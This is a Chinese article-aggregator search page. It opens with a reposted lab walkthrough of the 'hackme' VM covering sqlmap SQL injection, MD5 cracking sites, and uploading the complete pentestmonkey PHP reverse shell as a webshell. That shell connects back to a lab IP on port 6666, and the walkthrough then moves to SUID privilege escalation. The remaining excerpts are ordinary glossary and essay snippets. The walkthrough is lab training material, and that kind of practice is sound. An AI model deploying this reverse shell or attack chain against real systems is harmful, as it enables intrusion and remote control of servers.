前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[Domain Specific Lang...]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...ateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
...Scale and Language-Oblivious Code Authorship Identification》,描述了使用RNN进行大规模代码识别的方案,在圈定目标开发者,并预先提供每个开发者的5-7份已知的代码文件后,该技术方案可以很有效地识别大规模匿名代码仓库中隶属于每个开发者的代码:针对1600个Google Code Jam开发者8年间的所有代码可以实现96%的成功识别率,而针对745个C代码开发者于1987年之后在GitHub上面的全部公开代码仓库,识别率也高达94.38%。这样的结果在当下的场景中,已经足以实现对特定人的代码识别和跟踪(例如,考虑到特定开发人员可能由于编码习惯和规范意识,在时间和项目跨度上犯同样的错误);可以预见,在该技术方向上,完全可以期望摆脱特定已知目标人的现有数据集学习的过程,并实现更细粒度的归属分析,例如代码段、代码行、提交历史。 ·针对二进制代码,更准确、更大规模、更快速的代码主程序分析和同源性匹配。近年来作为一项程序分析基础技术研究,二进制代码相似性分析又重新获得了学术界和工业界的关注。在2018年和2019(已录用)的安全领域四大顶级会议上,每次都会有该方向最新成果的展示,如S&P‘2019上录用的《Asm2Vec: Boosting Static Representation Robustness for Binary Clone Search against Code Obfuscation and Compiler Optimization》,实现无先验知识的条件下的最优汇编代码级别克隆检测,针对漏洞库的漏洞代码检测可实现0误报、100%召回。而2018年北京HITB会议上,Google Project Zero成员、二进制比对工具BinDiff原始作者Thomas Dullien,探讨了他借用改造Google自家SimHash算法思想,用于针对二进制代码控制流图做相似性检测的尝试和阶段结果;这种引入规模数据处理的思路,也可期望能够在目前其他技术方案大多精细化而低效的情况下,为高效、快速、大规模甚至全量代码克隆检测勾出未来方案。 ·代码比对方案对编辑、优化、变形、混淆的对抗。近年所有技术方案都以对代码“变种”的检测有效性作为关键衡量标准,并一定程度上予以保证。上文CCS‘18论文工作,针对典型源代码混淆(如Tigress)处理后的代码,大规模数据集上可有93.42%的准确识别率;S&P‘19论文针对跨编译器和编译选项、业界常用的OLLVM编译时混淆方案进行试验,在全部可用的混淆方案保护之下的代码仍然可以完成81%以上的克隆检测。值得注意的是以上方案都并非针对特定混淆方案单独优化的,方法具有通用价值;而除此以外还有很多针对性的的反混淆研究成果可用;因此,可以认为在采用常规商用代码混淆方案下,即便存在隐藏内部业务逻辑不被逆向的能力,但仍然可以被有效定位代码复用和开发者自然人。 代码溯源技术面前的“挑战” 作为软件供应链安全的独立分析方,健壮的代码比对技术是决定性的基石;而当脑洞大开,考虑到行业的发展,也许以下两种假设的情景,将把每一个“正当”的产品、开发者置于尴尬的境地。 代码仿制 在本章节引述的“驱魔家族”代码疑云案例中,黑产方面通过某种方式获得了正常代码中,功能逻辑可以被自身复用的片段,并以某种方法将其在保持原样的情况下拼接形成了恶意程序。即便在此例中并非如此,但这却暴露了隐忧:将来是不是有这种可能,我的正常代码被泄漏或逆向后出现在恶意软件中,被溯源后扣上黑锅? 这种担忧可能以多种渠道和形式成为现实。 从上游看,内部源码被人为泄漏是最简单的形式(实际上,考虑到代码的完整生命周期似乎并没有作为企业核心数据资产得到保护,目前实质上有没有这样的代码在野泄漏还是个未知数),而通过程序逆向还原代码逻辑也在一定程度上可获取原始代码关键特征。 从下游看,则可能有多种方式将恶意代码伪造得像正常代码并实现“碰瓷”。最简单地,可以大量复用关键代码特征(如字符串,自定义数据结构,关键分支条件,数据记录和交换私有格式等)。考虑到在进行溯源时,分析者实际上不需要100%的匹配度才会怀疑,因此仅仅是仿造原始程序对于第三方公开库代码的特殊定制改动,也足以将公众的疑点转移。而近年来类似自动补丁代码搜索生成的方案也可能被用来在一份最终代码中包含有二方甚至多方原始代码的特征和片段。 基于开发者溯源的定点渗透 既然在未来可能存在准确将代码与自然人对应的技术,那么这种技术也完全可能被黑色产业利用。可能的忧患包括强针对性的社会工程,结合特定开发者历史代码缺陷的漏洞挖掘利用,联动第三方泄漏人员信息的深层渗透,等等。这方面暂不做联想展开。 〇. 没有总结 作为一场旨在定义“软件供应链安全”威胁的宣言,阿里安全“功守道”大赛将在后续给出详细的分解和总结,其意义价值也许会在一段时间之后才能被挖掘。 但是威胁的现状不容乐观,威胁的发展不会静待;这一篇随笔仅仅挑选六个侧面做摘录分析,可即将到来的趋势一定只会进入更加发散的境地,因此这里,没有总结。 本篇文章为转载内容。原文链接:https://blog.csdn.net/systemino/article/details/90114743。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-05 13:33:43
300
转载
Java
...。 LTP(哈工大 Language Technology Platform)分词器:哈尔滨工业大学开发的一套全面的自然语言处理工具包,其中包含高质量的分词模块。 THULAC:由清华大学自然语言处理与社会人文计算实验室推出的分词和词性标注工具。 HanLP:由李航团队开发的自然语言处理库,包含高效准确的分词组件。
2024-01-27 19:37:56
371
admin-tim
MySQL
...red Query Language)语句进行数据操作。在文章中,MySQL即是一个典型的关系型数据库管理系统,通过它可以创建多个相互关联的数据库,确保数据的一致性和完整性。 SQL , SQL(Structured Query Language)是一种标准化的编程语言,用于管理和处理关系型数据库中的数据。在本文所描述的MySQL环境中,用户使用SQL命令来与数据库交互,例如“CREATE DATABASE”用于创建新的数据库,“SHOW DATABASES”则用于查看所有已存在的数据库列表。SQL语言不仅包括数据定义语言(DDL,如创建表或数据库),还包括数据操作语言(DML,如插入、更新和删除记录)以及数据查询语言(DQL,如SELECT语句)。
2023-08-12 18:53:34
138
码农
MySQL
...red Query Language)文件是一种包含一系列SQL语句的文本文件,这些语句可以用来创建数据库表结构、插入数据、更新数据或者执行其他数据库操作。在本文上下文中,通过使用mysqldump工具从源MySQL数据库导出的数据被保存在一个SQL文件中,然后可以在目标MySQL服务器上通过执行该文件中的SQL语句来恢复或导入数据。 数据库服务器 , 数据库服务器是一种专门运行数据库管理系统软件,并负责存储、处理和管理大量结构化数据的计算机系统。在迁移MySQL数据的过程中,涉及到至少两个数据库服务器,即源数据库服务器(需要从其上导出数据)和目标数据库服务器(需要将数据导入到其中)。数据库服务器通常具备高可用性、容错性和可扩展性等特点,以满足不同规模的应用场景需求。
2023-02-12 10:44:09
70
数据库专家
HTML
...xt Markup Language) , HTML是一种用于创建网页的标准标记语言,它通过一系列标签(如<table>、<tr>、<th>和<td>等)来定义网页内容的结构和样式。在本文中,HTML被用来创建和组织表格元素,使信息以整齐有序的方式呈现。 CSS(Cascading Style Sheets) , CSS是层叠样式表的简称,是一种样式表语言,用于描述HTML文档或XML(包括SVG、MathML等各种XML方言)文档的呈现。在文章语境中,CSS用于美化HTML表格,可以为表格添加边框、背景色、字体样式等多种视觉效果,增强用户体验并提升网页整体设计感。 JavaScript , JavaScript是一种轻量级的解释型编程语言,常用于给网页添加交互式功能。在网页设计中,JavaScript可以配合HTML和CSS实现动态表格操作,例如表格数据的动态加载、刷新以及用户交互响应等功能,使得静态的HTML表格具备更高的可用性和功能性。
2023-02-13 13:05:09
485
码农
HTML
...xt Markup Language,即超文本标记语言。在本文中,HTML代码是指一种用于构建网页结构和内容的标记性编程语言,它通过一系列标签对文本、图片、视频等元素进行标识和描述,使得浏览器能够正确解析并显示网页内容。当用户在下载视频时遇到的是一段HTML代码,这意味着该链接实际上指向的是一个包含了视频播放器或者嵌入式视频信息的网页,而非直接指向视频文件。 源标签(source) , 在HTML5标准中,<source> 标签是一个媒体资源元素,用于定义多媒体元素(如 <audio> 或 <video>)可选择的多个媒体源。在文章给出的示例代码中,<source src=https://www.example.com/video.mp4 type=video/mp4> 表示视频资源的实际地址是 \ https://www.example.com/video.mp4\ ,类型为MP4格式的视频文件。当浏览器解析到这个标签时,会根据指定的类型尝试加载和播放相应的视频源。 视频元素(video) , 在HTML5规范中引入的 <video> 标签是一种原生支持的多媒体元素,允许开发者在网页上直接嵌入并播放视频内容,而无需依赖Flash等第三方插件。在文章所给示例中,<video> 标签包围了 <source> 标签,意味着这段HTML代码是用来展示一个视频的容器,实际的视频文件链接则位于 <source> 标签内的 src 属性中。通过解析 <video> 元素及其内部的 <source> 标签,用户可以找到并下载所需的视频文件。
2023-12-03 18:44:09
563
键盘勇士
HTML
...xt Markup Language),是一种用于创建网页的标准标记语言,通过一系列标签(如<p>、<pre>等)来描述网页结构和内容,使浏览器能够解析并正确展示网页信息。在文章中,光头强使用HTML语言编写了段落和预格式化文本的示例代码,展示了其在前端开发中的基础性和重要性。 预格式化文本 , 在HTML中,预格式化文本是指保留原始文本所有空格、换行和缩进格式的文本内容。通过使用<pre>标签可以实现预格式化文本的展示,确保源代码、诗歌、地址等需要特定格式的文本在网页上显示时保持原有格式不变。文中提到,光头强在编写HTML代码时运用了<pre>标签来清晰地展示代码片段或其他需要保持原样式的文本内容。
2023-05-13 09:23:43
468
软件工程师
HTML
...xt Markup Language),是一种用于创建网页的标准标记语言,通过一系列标签和属性对网页内容进行结构化、样式化和功能化的描述。在本文中,作者使用HTML编写“我的世界”游戏页面,包括设置标题、插入Logo图片、添加游戏内容区域以及底部版权信息等。 WebAssembly , 一种可移植的、体积紧凑且加载快速的二进制格式,设计用于在现代网络浏览器中运行高性能客户端和服务器应用。文中虽然未直接提及WebAssembly,但作为一种前沿技术趋势,它可以使得像“我的世界”这样的大型游戏直接在浏览器中运行,无需下载安装,增强了网页游戏的便捷性和可访问性。 WebGL , Web图形库(Web Graphics Library),是一种JavaScript API,允许开发者在任何兼容的Web浏览器中无需插件就能渲染高质量的3D图形和2D图形。结合文章语境,在当前Web技术的发展背景下,WebGL的优化升级显著提升了网页游戏的画面渲染效果和性能表现,使得网页游戏能够达到与原生应用相近甚至相同的视觉体验,如《Astroneer》的成功案例所示。 CSS3 , 层叠样式表版本3(Cascading Style Sheets Level 3),是对CSS规范的最新修订版,提供了一系列增强网页布局、颜色、字体和其他设计元素的新特性。在制作“我的世界”游戏页面时,CSS3可以用来实现Logo动态展示、游戏界面丰富化和交互性的提升,进一步优化用户体验,例如通过动画效果吸引用户注意或通过自定义样式展现独特的游戏主题风格。
2023-12-24 15:52:14
527
数据库专家
HTML
...xt Markup Language)是一种标记语言,用于创建和设计网页内容的结构。在文章中提到的HTML代码是指使用HTML标签编写的文本,这些标签定义了网页的各个部分,如标题、段落、图像等元素,以及它们之间的层级关系。格式化HTML代码是为了让代码更易读、更符合规范,便于开发者理解和修改网页结构。 格式化工具 , 在编程领域,格式化工具是一种软件或在线服务,能够自动调整代码的布局和样式,使其遵循一定的编码风格或约定。在本文中,提及的格式化工具如Notepad++、Sublime Text、Online HTML Formatter等,可以将混乱无序的HTML代码按照特定规则进行排列,通过添加缩进、换行等提高代码的可读性和维护性。 结构层次 , 在网页开发中,结构层次指的是HTML代码中的元素嵌套关系及其视觉呈现的逻辑层级。通过合理的结构层次设计,开发者能够清晰地表达出网页中各部分内容的从属关系和重要程度。经过格式化的HTML代码会展示出明显的结构层次,例如头部(head)、主体(body)、各个区块(div)及其中的内容(p),从而方便阅读、查找和修改。
2023-07-25 14:28:54
508
程序媛
MySQL
...red Query Language,即结构化查询语言,是一种专门用于管理关系型数据库的标准计算机语言。在本文中,SQL语句被用来向MySQL数据库中插入新数据,例如“INSERT INTO”语句就是用来在指定表中添加新记录的一种SQL命令。通过编写不同的SQL语句,用户能够与数据库进行交互,包括查询、更新、删除以及插入数据等各种操作。
2023-06-05 22:29:31
72
算法侠
HTML
...xt Markup Language) , HTML是一种用于创建网页的标准标记语言,通过使用各种标签来组织和格式化网页内容,如文本、图像、视频等,并定义其结构和语义。在文章中,HTML代码是网站制作的基础环节,开发者通过编写HTML代码构建网页的基本框架和内容展示。 元数据(Metadata) , 元数据是关于数据的数据,它提供了有关文档或资源的附加信息,但并非直接呈现给用户的内容。在HTML文档中,<head>部分包含了元数据元素,例如<title>标签定义了网页标题,这不仅影响浏览器标签页上的显示,还对SEO优化和用户体验有重要作用。 响应式图片(Responsive Images) , 响应式图片是指在不同设备和屏幕尺寸下能够自适应调整大小和分辨率的图片。虽然文中未直接提到响应式图片,但HTML5中的<img>标签可以通过srcset和sizes属性实现响应式图片功能,确保图片在不同设备上都能获得最佳显示效果,从而提升网页加载速度和用户体验。 SEO优化(Search Engine Optimization, SEO) , SEO优化是指通过改进网站内容、结构、关键词布局以及外部链接等方式,提高网站在搜索引擎自然搜索结果中的排名,从而吸引更多的潜在访问者并转化为有效流量。在文中提及,合理设置网页标题(<title>标签)等HTML元素有助于SEO优化,因为搜索引擎会优先考虑具有良好结构化数据和语义化的网页。
2023-05-02 11:53:31
469
码农
HTML
...xt Markup Language),是一种用于创建网页的标准标记语言,它通过一系列标签(如<html>、<head>、<body>等)构建网页的结构,并允许开发者为文本添加语义和样式信息。在本文中,冰墩墩这一教育机器人的部分程序代码就是由HTML编写而成,用于定义和展示其功能介绍、特点等网页内容。 教育机器人 , 是指专门设计用于教育领域的智能机器人,通常具备与用户互动、提供教育资源、辅助教学等功能。文中提到的“冰墩墩”便是一个典型的例子,它具有可爱的企鹅外形和丰富的语音交互功能,能与儿童进行互动,帮助他们学习中文和其他知识,体现了教育机器人在现代教育中的应用和发展趋势。 文档类型定义 (DTD) , 文档类型定义是HTML、XML等文件开头声明的一种机制,用来告知浏览器或解析器当前文档遵循的具体规则集或版本标准。例如,在文章给出的冰墩墩程序代码示例中,“<!DOCTYPE html>”即表示该文档遵循HTML5的标准规范,浏览器据此能够正确识别并渲染页面内容。
2023-09-24 23:37:14
415
码农
HTML
...xt Markup Language,超文本标记语言。是一种用于创建网页的标准标记语言,通过HTML标签和属性对网页内容进行结构化描述,以实现网页的布局、样式控制和功能实现。在文章中提到的HTML代码问题,即是在编写HTML文档过程中可能出现的各种错误,如标签错误、属性错误和语法错误等。 W3C , World Wide Web Consortium,万维网联盟。这是一个国际性组织,致力于制定并推广Web相关的各种标准和技术规范,包括HTML、CSS、JavaScript等核心Web技术。文中提及W3C发布的HTML5.3推荐标准,强调了遵循语义化标签、无障碍访问及严格语法检查的重要性。 src属性 , 在HTML中,src是\ source\ (源)的缩写,通常用于<img>、<script>、<iframe>等标签中,用来指定外部资源(如图片、脚本文件或嵌入式页面)的URL地址。例如,在文章中提到的错误案例中,img标签的src属性被误写为srcc,导致浏览器无法正确加载图片资源。 静态代码检查工具 , 这类工具如ESLint,主要用于自动检测编程代码中的潜在错误、不一致性和违反编码规范等问题。在前端开发领域,配合HTMLHint等插件可以针对HTML代码进行静态分析,实时发现未闭合标签、属性值缺失或拼写错误等问题,并提供修正建议,有助于提高代码质量,降低后期维护成本。 无障碍访问 , 又称辅助功能,是指确保所有用户,包括视觉、听觉或其他残障人士在内的所有人群,都能够无障碍地访问和使用Web内容和服务。在现代HTML规范中,强调了对无障碍访问的支持,要求开发者在设计网页时考虑使用语义化的HTML标签以及ARIA属性来提升网页对于辅助技术设备的兼容性。
2023-11-24 17:21:17
464
程序媛
HTML
...xt Markup Language(超文本标记语言)是一种用于创建网页的标准标记语言,它通过一系列标签来描述网页结构和内容。在本文中,HTML代码大全是指一系列与万圣节主题相关的HTML标签、元素及属性的集合,用来指导用户如何构建和装饰具有万圣节特色的网页。 Canvas , Canvas是HTML5引入的一种基于矢量图形的可编程图形元素,允许开发者使用JavaScript进行动态渲染和操作图形。在文章中,<canvas> 标签被提及作为制作动画的一种方式,程序员可以在其中编写脚本绘制图像、动画等视觉效果,为万圣节网站增添动态视觉体验。 embed标签 , 在HTML中,<embed> 标签用于嵌入外部应用程序或者互动内容,如音频、视频或其他插件内容。在本文中,提供了插入万圣节背景音乐的embed标签实例,通过src属性指定音频文件地址,并设置autostart属性为true实现音频自动播放,使得访问者在浏览网页时能自动听到符合节日气氛的音乐。
2023-02-21 17:23:15
488
码农
MySQL
...red Query Language(结构化查询语言)的缩写,是一种专门用于管理和处理关系型数据库的标准计算机语言。在文中提到的SELECT、UPDATE命令就是SQL的一部分。SELECT命令用于从数据库中检索满足一定条件的数据;UPDATE命令则用于更新数据库表中已存在的记录,例如根据角色ID来修改其元宝数量。通过这些SQL命令,游戏开发者可以高效且精确地操作存储在MySQL数据库中的游戏数据。
2023-04-20 08:05:28
62
软件工程师
HTML
...al Markup Language)作为一种专门用来排版数学公式的标记语言,在处理复杂数学表达式时展现出显著优势。例如,MathJax库就支持MathML和LaTeX语法,使得开发者能够在网页中展示出美观且准确的数学公式。 近期,Google Chrome浏览器已宣布对原生MathML支持的回归计划,这将大大提高网页加载数学公式的效率,并为在线教育、科研论文发布、工程计算等领域带来革命性的变化。同时,GitHub等平台也开始加强对数学公式的渲染支持,这意味着开发者能够更方便地在README文件或wiki页面中插入并显示复杂的数学公式。 此外,诸如KaTeX和Katex.js等轻量级JavaScript库也逐渐流行起来,它们可以在保持良好性能的同时实现快速渲染数学公式,尤其适合对网页加载速度有较高要求的应用场景。 总之,随着现代Web技术对数学公式的深度支持与优化,无论是简单的几何计算还是复杂的微积分表达,都可以在网页上得到精准而优雅的展现,极大地丰富了网页内容的表现形式和信息传达的准确性,进一步推动了互联网在学术交流、知识传播等方面的功能深化与发展。
2023-04-01 16:00:57
321
电脑达人
Python
...ogramming language" match = re.match(r'Python', string) if match: print("Match found!") else: print("Match not found!") 字符串查找 string = "Bonjour, comment vas-tu?" match = re.search(r'comment', string) if match: print("Match found at", match.start(), "to", match.end()) else: print("Match not found!") 替换字符串 string = "I love Python" new_string = re.sub(r'Python', 'Java', string) print(new_string) 用group()方法获取对应对象 string = "john@example.com" match = re.search(r'(\w+)@(\w+)', string) if match: print(match.group()) print(match.group(1)) print(match.group(2)) 查找所有对应项 string = "Python is a great programming language, Python is used by many developers" matches = re.findall(r'Python', string) print(matches) 以上是几个基本的Python正则表达式例子,在实际工作中,我们可以根据需要不断优化并扩展这些例子。
2023-01-25 14:35:48
282
键盘勇士
MySQL
